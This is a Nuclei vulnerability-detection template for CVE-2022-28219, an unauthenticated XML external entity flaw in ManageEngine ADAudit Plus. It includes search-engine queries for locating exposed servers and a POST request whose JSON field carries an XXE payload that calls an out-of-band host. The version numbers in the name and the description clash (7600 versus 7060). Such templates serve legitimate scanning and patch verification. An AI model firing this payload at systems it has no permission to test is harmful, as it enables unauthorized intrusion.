id: CVE-2022-28219

info:
  name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an
    unauthenticated XML entity injection attack that can lead to remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or perform remote code execution on the affected system.
  remediation: |
    Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus
    is configured with a dedicated service account with restricted privileges.
  reference:
    - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html
    - https://www.horizon3.ai/red-team-blog-cve-2022-28219/
    - https://manageengine.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28219
    - http://cewolf.sourceforge.net/new/index.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28219
    cwe-id: CWE-611
    epss-score: 0.97139
    epss-percentile: 0.99887
    cpe: cpe:2.3:a:zohocorp:manageengine_adaudit_plus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_adaudit_plus
    shodan-query:
      - http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus"
      - http.title:"adaudit plus" || http.title:"manageengine - admanager plus"
    fofa-query: title="adaudit plus" || http.title:"manageengine - admanager plus"
    google-query: intitle:"adaudit plus" || http.title:"manageengine - admanager plus"
  tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth,zohocorp,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/agent/tabs/agentData"

    body: |
      [
        {
          "DomainName": "{{Host}}",
          "EventCode": 4688,
          "EventType": 0,
          "TimeGenerated": 0,
          "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><! foo [ <!ENTITY % xxe SYSTEM \"http://{{interactsh-url}}\"> %xxe; ]>"
        }
      ]

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "ManageEngine"
# digest: 4b0a00483046022100bd1e50b68a6f8980f0afe4985cc574b46f90560eb4295e19cf623b8f9eb8f069022100c759ff31094b28694aaebb12c2dd808a50a9742c0a704ae6c55337168bdd7888:922c64590222798bb761d5b6d8e72950